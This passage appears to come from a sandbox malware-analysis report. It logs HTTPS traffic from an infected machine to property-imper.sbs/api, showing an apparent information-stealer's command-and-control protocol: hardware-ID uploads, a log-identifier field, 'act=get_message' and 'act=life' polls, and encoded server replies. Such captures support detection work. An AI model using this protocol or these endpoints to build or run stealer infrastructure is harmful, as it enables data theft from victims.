cfL4;desc="?proto=TCP&rtt=2231&sent=13&recv=25&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21400&delivery_rate=1300668&cwnd=194&unsent_bytes=0&cid=c31e83d1a665e264&ts=894&x=0"
2024-11-24 13:25:34 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 13:25:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	50044	104.21.33.116	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:25:35 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=JAKHRF76Y9YV6AXW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1279 Host: property-imper.sbs
2024-11-24 13:25:35 UTC	1279	OUT	Data Raw: 2d 2d 4a 41 4b 48 52 46 37 36 59 39 59 56 36 41 58 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 45 32 42 30 45 36 37 43 45 44 32 42 37 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 4a 41 4b 48 52 46 37 36 59 39 59 56 36 41 58 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4a 41 4b 48 52 46 37 36 59 39 59 56 36 41 58 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --JAKHRF76Y9YV6AXWContent-Disposition: form-data; name="hwid"8E2B0E67CED2B7B7D7CBBD6DF28D3732--JAKHRF76Y9YV6AXWContent-Disposition: form-data; name="pid"1--JAKHRF76Y9YV6AXWContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-11-24 13:25:36 UTC	1014	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:25:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ne1jq7p14qpp7vt2vl5poovdnd; expires=Thu, 20-Mar-2025 07:12:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QsIQC57uiKXFm9Nxt54VWKFfbA0oYPCf4GilK3Ifi2sVXhInDb7A0%2Fyz1YhZ7SpjoG4Y6T2j1F%2BYxPznenTU0kAC2L2EC0hCrbtOqVN3gnQ%2BwlsiUI5iWZ89t1ROWK8ywAHiGZE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79b9d24c61423e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1709&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=2196&delivery_rate=1704611&cwnd=191&unsent_bytes=0&cid=0c73d517b19ed7cd&ts=626&x=0"
2024-11-24 13:25:36 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 13:25:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	50052	104.21.33.116	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:25:38 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=BJ4EMWGP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 10749 Host: property-imper.sbs
2024-11-24 13:25:38 UTC	10749	OUT	Data Raw: 2d 2d 42 4a 34 45 4d 57 47 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 45 32 42 30 45 36 37 43 45 44 32 42 37 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 42 4a 34 45 4d 57 47 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 42 4a 34 45 4d 57 47 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 42 4a 34 45 4d 57 47 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --BJ4EMWGPContent-Disposition: form-data; name="hwid"8E2B0E67CED2B7B7D7CBBD6DF28D3732--BJ4EMWGPContent-Disposition: form-data; name="pid"1--BJ4EMWGPContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--BJ4EMWGPContent-Di
2024-11-24 13:25:39 UTC	1015	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:25:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4hjal0b5ta4dl8mjporsn5s6kl; expires=Thu, 20-Mar-2025 07:12:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RmKfy5zwC1FQaTKG3IU3S2dvQ6zwbLvQDapvyWGQzvEvlG6D6cPD3WwQDDX5WxdVaBMxHG5vgQtAUp%2BBqnVi0QeGJiGIEl9bNvFukfPqgaO6K%2FxmAfTtHyCbcC2Suq40DNrOF0k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79b9e43e3cc335-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1532&sent=13&recv=17&lost=0&retrans=0&sent_bytes=2845&recv_bytes=11681&delivery_rate=1935056&cwnd=163&unsent_bytes=0&cid=d7568ad3dfa20967&ts=927&x=0"
2024-11-24 13:25:39 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 13:25:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	50065	104.21.33.116	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:25:40 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: property-imper.sbs
2024-11-24 13:25:40 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 38 45 32 42 30 45 36 37 43 45 44 32 42 37 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=8E2B0E67CED2B7B7D7CBBD6DF28D3732
2024-11-24 13:25:41 UTC	1019	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:25:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5mne7p1dua2bp3ppgmlgictvge; expires=Thu, 20-Mar-2025 07:12:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T%2BAAs1%2FkrHotmnIKVoOCCbtEbb9kuityotKy7a3QrFmtX5iX%2BjuEb%2FiaRERx5unNvL1tsVIn8hB3wohvhhO%2BHG%2BXvnBcoWdiEpKBwWTvmMWnxQQbaPTm8ClWo0ELwhyCgK6se1E%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79b9f15b934303-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1625&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=990&delivery_rate=1796923&cwnd=235&unsent_bytes=0&cid=fc87c5da2abb1848&ts=714&x=0"
2024-11-24 13:25:41 UTC	214	IN	Data Raw: 64 30 0d 0a 32 37 31 49 4f 5a 74 63 58 76 35 48 4d 73 58 31 70 70 30 49 57 56 4a 36 32 4b 4d 51 69 7a 4b 4f 72 2f 52 4e 6c 4d 65 62 4b 44 53 41 78 6d 70 4d 75 57 5a 38 6c 6a 4e 47 74 63 2f 36 73 6c 52 32 59 30 4c 74 6a 53 4b 36 42 36 43 65 78 58 36 36 39 71 31 30 47 37 54 62 4c 6d 57 30 4f 44 75 59 61 56 65 39 6b 49 53 78 4b 6a 38 6d 57 4f 4b 54 50 4b 6c 58 72 4a 58 46 4d 4c 69 38 75 56 30 57 34 5a 38 67 54 65 38 73 5a 4b 4a 6f 62 75 72 45 6e 71 67 6d 61 32 4e 50 39 70 49 68 75 42 79 2f 6d 61 68 69 35 37 50 2b 53 56 6d 48 6b 6a 70 59 39 54 67 78 6b 32 6c 58 76 5a 43 45 73 53 6f 2f 4a 6c 6a 69 6b 7a 79 70 56 36 79 56 78 44 44 4a 0d 0a Data Ascii: d0271IOZtcXv5HMsX1pp0IWVJ62KMQizKOr/RNlMebKDSAxmpMuWZ8ljNGtc/6slR2Y0LtjSK6B6CexX669q10G7TbLmW0ODuYaVe9kISxKj8mWOKTPKlXrJXFMLi8uV0W4Z8gTe8sZKJoburEnqgma2NP9pIhuBy/mahi57P+SVmHkjpY9Tgxk2lXvZCEsSo/JljikzypV6yVxDDJ
2024-11-24 13:25:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	50259	104.21.33.116	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:28:34 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: property-imper.sbs
2024-11-24 13:28:34 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-24 13:28:35 UTC	1007	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:28:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jlt2d0456rs47mlttvg250vqeu; expires=Thu, 20-Mar-2025 07:15:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HZwEDR6GFiUm4oNgw9My6vc1Pomkr54xJN4PrSa4MBcKijs9FxmhNynmvUYBAPf0j3KD7jt8bFyPJ00fbyYjGQs7uQTInmrn1Ap4y7PRQsA13dyLZSOak8r1PZ4FJ8AHGoQrPm4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79be342bb35e6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2127&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=1368322&cwnd=214&unsent_bytes=0&cid=e62951c3b1bd3962&ts=714&x=0"
2024-11-24 13:28:35 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-24 13:28:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	50261	104.21.33.116	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:28:36 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: property-imper.sbs
2024-11-24 13:28:36 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-24 13:28:37 UTC	1014	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:28:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gtu3a6de28hc2iiuke816ipcvc; expires=Thu, 20-Mar-2025 07:15:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SJcbnooz92r8UkiEPlPzJLg7CHQdFjPK8Ys2qRuSPf1vxTElpkWuL2JD10QgCsdBWftzxEEg6DuoqZZS2DmGQ60acGfU5oR2CQ0zvY0Q4JvWP86NBVnc%2B0Bt%2Fls%2Fg9Zsapn0FJI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79be40f80a5e62-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13483&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=955&delivery_rate=1628555&cwnd=150&unsent_bytes=0&cid=b42b0f44fb0a4ff2&ts=748&x=0"
2024-11-24 13:28:37 UTC	355	IN	Data Raw: 32 64 65 35 0d 0a 4f 77 70 76 70 47 58 78 49 44 48 32 59 47 2f 4d 31 57 72 4c 67 48 49 30 55 65 6f 7a 75 7a 64 6e 37 56 72 55 58 4b 42 6c 75 52 56 41 4b 42 6d 47 58 38 55 4d 45 34 55 46 54 66 61 68 47 4c 37 6c 58 68 59 77 6a 68 47 42 55 51 61 42 4b 62 46 77 67 68 50 55 4e 77 46 73 44 73 67 57 6c 41 77 54 6b 78 68 4e 39 6f 34 52 36 65 55 63 46 6d 76 49 56 74 46 56 42 6f 45 34 74 54 66 50 46 64 56 32 55 32 59 49 7a 41 43 53 52 46 43 61 44 51 71 70 73 41 75 68 37 68 74 5a 4f 59 63 52 6c 78 55 43 6c 33 6a 75 66 75 30 41 7a 58 52 32 61 78 7a 50 52 34 77 4d 53 74 51 46 41 65 37 76 53 4b 72 6c 45 46 67 33 6a 6c 6a 54 58 77 2b 4a 4f 62 41 32 30 41 7a 66 66 56 4e 6f 43 38 30 4b 6d 31 42 64 6b 41 6f 42 72 37 6f 4c 36 61 78 51 55 53 76 49 43 5a 6b 47 4e 34 77 70 70 Data Ascii: 2de5OwpvpGXxIDH2YG/M1WrLgHI0Ueozuzdn7VrUXKBluRVAKBmGX8UME4UFTfahGL7lXhYwjhGBUQaBKbFwghPUNwFsDsgWlAwTkxhN9o4R6eUcFmvIVtFVBoE4tTfPFdV2U2YIzACSRFCaDQqpsAuh7htZOYcRlxUCl3jufu0AzXR2axzPR4wMStQFAe7vSKrlEFg3jljTXw+JObA20AzffVNoC80Km1BdkAoBr7oL6axQUSvICZkGN4wpp
2024-11-24 13:28:37 UTC	1369	IN	Data Raw: 6b 4a 42 6e 41 6b 47 71 36 55 44 6f 4f 38 64 56 6a 36 43 58 74 70 56 41 6f 55 79 75 54 54 47 43 74 5a 78 57 57 68 4e 69 45 65 55 57 68 50 4d 51 69 36 72 70 77 2b 6c 39 46 4a 73 63 35 63 66 77 42 55 43 67 33 6a 75 66 73 6f 43 32 48 52 53 5a 77 37 4f 44 49 46 43 51 5a 49 50 43 4c 79 78 44 61 66 6f 45 30 51 35 68 6c 66 61 58 41 36 47 50 62 45 36 67 6b 6d 62 63 45 45 6f 56 59 59 6d 6e 6b 6c 66 6e 68 55 4e 37 71 68 47 73 4b 49 58 57 6e 50 51 45 64 31 55 41 59 34 38 75 44 44 47 43 39 31 35 56 47 63 4c 7a 41 65 55 53 46 75 63 41 77 43 6c 75 41 69 73 37 78 52 51 50 34 6c 55 6d 52 74 46 69 43 44 32 5a 6f 49 70 33 48 52 4c 4b 6a 6a 46 43 5a 31 46 52 64 51 64 51 37 66 33 44 36 57 69 53 42 59 39 6a 56 37 4c 56 42 65 4b 4e 71 51 79 78 77 48 57 64 46 64 6f 43 4d 45 4b Data Ascii: kJBnAkGq6UDoO8dVj6CXtpVAoUyuTTGCtZxWWhNiEeUWhPMQi6rpw+l9FJsc5cfwBUCg3jufsoC2HRSZw7ODIFCQZIPCLyxDafoE0Q5hlfaXA6GPbE6gkmbcEEoVYYmnklfnhUN7qhGsKIXWnPQEd1UAY48uDDGC915VGcLzAeUSFucAwCluAis7xRQP4lUmRtFiCD2ZoIp3HRLKjjFCZ1FRdQdQ7f3D6WiSBY9jV7LVBeKNqQyxwHWdFdoCMEK
2024-11-24 13:28:37 UTC	1369	IN	Data Raw: 51 64 51 37 66 33 44 36 57 69 53 42 59 2f 67 56 48 53 58 77 47 50 50 37 73 37 77 51 44 59 65 6c 35 69 41 38 45 44 6e 30 74 65 6b 67 49 4b 71 72 49 61 72 4f 73 63 57 6e 50 47 45 64 35 4e 52 64 64 34 6d 54 6e 55 42 50 52 30 53 47 46 4e 32 55 6d 4b 41 6c 53 59 51 6c 58 75 73 41 32 68 36 52 5a 65 4d 35 70 55 31 31 34 45 68 54 36 33 4d 38 34 42 32 33 5a 5a 62 67 48 47 41 4a 52 51 51 5a 45 45 48 36 54 33 52 75 6e 6c 43 42 5a 72 79 47 66 4a 51 68 53 5a 65 6f 4d 39 7a 41 6e 63 59 52 6c 33 51 39 39 48 6c 45 34 54 7a 45 49 47 72 72 73 50 6f 65 51 55 58 6a 79 48 57 4d 74 55 43 59 45 71 73 54 37 4c 43 64 52 37 55 47 55 4b 79 77 79 5a 54 31 65 54 41 30 33 67 39 77 2b 78 6f 6b 67 57 42 5a 68 63 31 58 73 4f 67 7a 48 32 49 59 77 65 6d 33 42 56 4b 46 57 47 41 35 39 4b 57 Data Ascii: QdQ7f3D6WiSBY/gVHSXwGPP7s7wQDYel5iA8EDn0tekgIKqrIarOscWnPGEd5NRdd4mTnUBPR0SGFN2UmKAlSYQlXusA2h6RZeM5pU114EhT63M84B23ZZbgHGAJRQQZEEH6T3RunlCBZryGfJQhSZeoM9zAncYRl3Q99HlE4TzEIGrrsPoeQUXjyHWMtUCYEqsT7LCdR7UGUKywyZT1eTA03g9w+xokgWBZhc1XsOgzH2IYwem3BVKFWGA59KW
2024-11-24 13:28:37 UTC	1369	IN	Data Raw: 72 73 77 2b 74 35 42 38 57 66 63 68 57 77 52 56 64 7a 78 65 52 43 34 41 6d 34 54 64 47 4a 68 53 47 41 4a 38 43 43 39 51 4f 44 71 4b 2f 42 36 2f 72 48 46 77 36 67 31 33 53 55 51 6d 47 50 62 41 2f 78 77 4c 61 63 31 56 69 43 38 55 45 6e 45 31 63 6e 45 4a 44 37 72 41 51 36 62 70 51 63 79 53 44 58 39 38 56 47 73 45 68 39 6a 6e 4f 52 34 4d 33 56 57 45 4c 77 41 4b 66 51 31 57 63 42 77 57 71 74 67 36 76 34 52 39 53 4e 6f 6c 65 33 56 6b 4c 68 54 6d 33 4d 73 6b 49 30 48 49 5a 4a 6b 33 42 48 39 4d 61 45 36 55 42 47 37 6d 6e 42 4f 6e 39 58 6b 39 7a 6a 31 32 5a 44 55 57 4f 4b 72 77 30 7a 41 4c 55 63 6c 70 6e 43 73 73 42 6e 30 68 61 6e 41 51 43 70 36 55 4c 70 65 77 58 57 44 2b 47 58 4e 4e 57 43 4d 39 32 39 6a 6e 61 52 34 4d 33 64 57 38 41 36 41 79 66 52 52 4f 4c 54 42 Data Ascii: rsw+t5B8WfchWwRVdzxeRC4Am4TdGJhSGAJ8CC9QODqK/B6/rHFw6g13SUQmGPbA/xwLac1ViC8UEnE1cnEJD7rAQ6bpQcySDX98VGsEh9jnOR4M3VWELwAKfQ1WcBwWqtg6v4R9SNole3VkLhTm3MskI0HIZJk3BH9MaE6UBG7mnBOn9Xk9zj12ZDUWOKrw0zALUclpnCssBn0hanAQCp6ULpewXWD+GXNNWCM929jnaR4M3dW8A6AyfRROLTB
2024-11-24 13:28:37 UTC	1369	IN	Data Raw: 72 76 70 51 44 6e 4f 2b 56 73 6c 46 42 73 30 4a 6f 44 33 55 44 4e 5a 37 47 58 64 44 33 30 65 55 54 68 50 4d 51 67 75 68 76 67 75 6d 34 78 6c 61 50 6f 31 59 33 46 51 44 69 7a 4b 38 50 73 51 42 32 6e 4a 54 61 77 7a 4d 44 70 52 4b 56 4a 63 51 54 65 44 33 44 37 47 69 53 42 59 61 6a 30 50 58 52 55 57 51 64 71 39 2b 78 51 75 62 4c 78 6c 73 42 38 6b 44 6c 45 35 56 6b 51 51 41 72 37 67 4a 71 65 30 55 58 54 71 4f 55 4e 52 51 43 49 73 71 76 44 58 4e 43 39 4a 37 56 43 68 44 68 67 43 4c 41 67 76 55 4d 77 43 67 75 51 2b 2f 6f 67 38 59 4b 73 68 57 31 52 56 64 7a 7a 6d 36 4d 63 45 49 32 48 52 59 59 68 2f 55 43 35 70 4b 56 70 67 4a 41 36 69 6c 44 71 62 72 45 31 55 36 6a 31 6e 56 58 77 61 49 65 50 68 2b 78 52 2b 62 4c 78 6c 4c 47 74 59 4b 30 31 30 64 6a 55 49 4b 6f 76 64 Data Ascii: rvpQDnO+VslFBs0JoD3UDNZ7GXdD30eUThPMQguhvgum4xlaPo1Y3FQDizK8PsQB2nJTawzMDpRKVJcQTeD3D7GiSBYaj0PXRUWQdq9+xQubLxlsB8kDlE5VkQQAr7gJqe0UXTqOUNRQCIsqvDXNC9J7VChDhgCLAgvUMwCguQ+/og8YKshW1RVdzzm6McEI2HRYYh/UC5pKVpgJA6ilDqbrE1U6j1nVXwaIePh+xR+bLxlLGtYK010djUIKovd
2024-11-24 13:28:37 UTC	1369	IN	Data Raw: 6c 4d 31 68 31 37 51 58 41 47 48 4f 37 59 36 78 67 44 65 64 46 56 6a 43 73 55 49 6c 30 74 64 6e 51 31 4e 34 50 63 50 73 61 4a 49 46 68 4b 54 55 74 56 59 52 5a 42 32 72 33 37 46 43 35 73 76 47 57 51 44 77 77 65 5a 52 46 65 52 42 41 65 72 74 77 4f 71 37 52 52 51 4e 34 64 52 30 6c 77 45 69 54 32 38 4e 63 51 4b 32 48 46 66 4b 45 4f 47 41 49 73 43 43 39 51 69 46 71 4f 37 44 2b 6e 39 58 6b 39 7a 6a 31 32 5a 44 55 57 45 4e 4c 49 35 77 67 72 59 66 31 78 73 42 38 4d 48 6d 31 42 62 6c 41 55 66 76 4c 63 42 72 4f 34 54 56 6a 65 4f 57 4e 39 57 41 63 39 32 39 6a 6e 61 52 34 4d 33 64 47 51 4b 37 77 43 49 41 6b 7a 61 47 30 32 70 75 30 6a 78 6f 68 46 64 4f 59 64 63 32 6c 4d 47 68 44 32 38 50 38 55 50 31 6d 56 61 5a 77 4c 43 42 35 78 45 56 5a 55 4e 43 36 6d 2b 43 61 48 6c Data Ascii: lM1h17QXAGHO7Y6xgDedFVjCsUIl0tdnQ1N4PcPsaJIFhKTUtVYRZB2r37FC5svGWQDwweZRFeRBAertwOq7RRQN4dR0lwEiT28NcQK2HFfKEOGAIsCC9QiFqO7D+n9Xk9zj12ZDUWENLI5wgrYf1xsB8MHm1BblAUfvLcBrO4TVjeOWN9WAc929jnaR4M3dGQK7wCIAkzaG02pu0jxohFdOYdc2lMGhD28P8UP1mVaZwLCB5xEVZUNC6m+CaHl
2024-11-24 13:28:37 UTC	1369	IN	Data Raw: 5a 32 7a 31 38 43 6e 7a 2b 68 4d 59 4a 4a 6d 33 67 5a 4d 44 53 47 44 70 52 5a 51 6f 49 50 48 61 6e 33 4e 2b 65 69 43 42 5a 72 79 47 54 61 57 77 75 49 4c 71 64 7a 35 52 48 52 63 45 6c 76 47 73 6c 48 33 51 4a 56 31 46 70 65 34 50 63 4d 75 4b 4a 49 42 6d 48 54 42 49 6f 43 56 64 30 6e 2b 43 65 43 45 5a 73 76 43 79 5a 4e 31 45 66 4c 41 68 53 58 45 42 2b 6f 74 42 36 71 70 53 35 6f 46 4a 4a 63 33 30 49 55 73 51 61 78 4a 4d 38 42 7a 47 59 56 66 51 37 49 43 5a 52 55 45 39 70 43 41 75 37 76 4d 65 6d 71 55 47 6c 39 79 45 6d 5a 44 55 57 36 4f 37 67 77 78 52 48 4b 4f 6e 35 79 41 4d 41 51 67 67 49 64 31 41 52 4e 39 75 64 47 36 65 59 42 46 6d 76 59 41 34 49 41 56 74 68 6f 35 43 47 4d 48 70 74 68 47 54 42 66 69 45 65 42 41 67 76 55 52 51 36 38 70 51 36 71 39 42 4d 52 44 Data Ascii: Z2z18Cnz+hMYJJm3gZMDSGDpRZQoIPHan3N+eiCBZryGTaWwuILqdz5RHRcElvGslH3QJV1Fpe4PcMuKJIBmHTBIoCVd0n+CeCEZsvCyZN1EfLAhSXEB+otB6qpS5oFJJc30IUsQaxJM8BzGYVfQ7ICZRUE9pCAu7vMemqUGl9yEmZDUW6O7gwxRHKOn5yAMAQggId1ARN9udG6eYBFmvYA4IAVtho5CGMHpthGTBfiEeBAgvURQ68pQ6q9BMRD
2024-11-24 13:28:37 UTC	1369	IN	Data Raw: 56 4d 49 77 32 75 44 6e 55 46 70 5a 51 56 32 38 4d 30 42 65 45 54 52 50 61 51 67 76 75 37 31 72 6e 6f 68 52 48 63 39 41 42 69 77 35 51 33 47 2f 6d 62 4e 31 4a 77 6a 64 50 4b 46 57 55 53 64 4e 51 45 38 78 43 53 71 32 6c 47 71 2f 68 42 6c 56 30 74 6d 2f 2b 57 77 4b 4f 4c 71 59 70 7a 55 6a 31 51 58 68 57 4d 39 4d 45 6e 55 78 55 67 68 4e 4e 34 50 63 48 36 62 6f 70 46 6e 76 49 62 70 63 56 48 63 39 67 39 67 76 42 43 64 56 77 54 33 6c 41 34 51 6d 55 51 30 57 45 46 51 4c 68 6d 54 36 49 6f 6c 34 57 4e 63 67 4a 69 78 74 46 69 79 6e 32 5a 70 4a 56 67 43 49 4b 50 31 32 55 47 4e 31 62 45 34 4a 43 56 66 7a 35 53 4c 75 69 53 42 5a 30 69 30 50 4c 55 77 61 5a 4f 2f 45 41 2f 43 44 56 63 46 68 2b 48 63 73 4c 73 6b 46 43 6e 6a 77 7a 75 37 51 47 70 2b 55 47 52 33 50 47 45 64 Data Ascii: VMIw2uDnUFpZQV28M0BeETRPaQgvu71rnohRHc9ABiw5Q3G/mbN1JwjdPKFWUSdNQE8xCSq2lGq/hBlV0tm/+WwKOLqYpzUj1QXhWM9MEnUxUghNN4PcH6bopFnvIbpcVHc9g9gvBCdVwT3lA4QmUQ0WEFQLhmT6Iol4WNcgJixtFiyn2ZpJVgCIKP12UGN1bE4JCVfz5SLuiSBZ0i0PLUwaZO/EA/CDVcFh+HcsLskFCnjwzu7QGp+UGR3PGEd
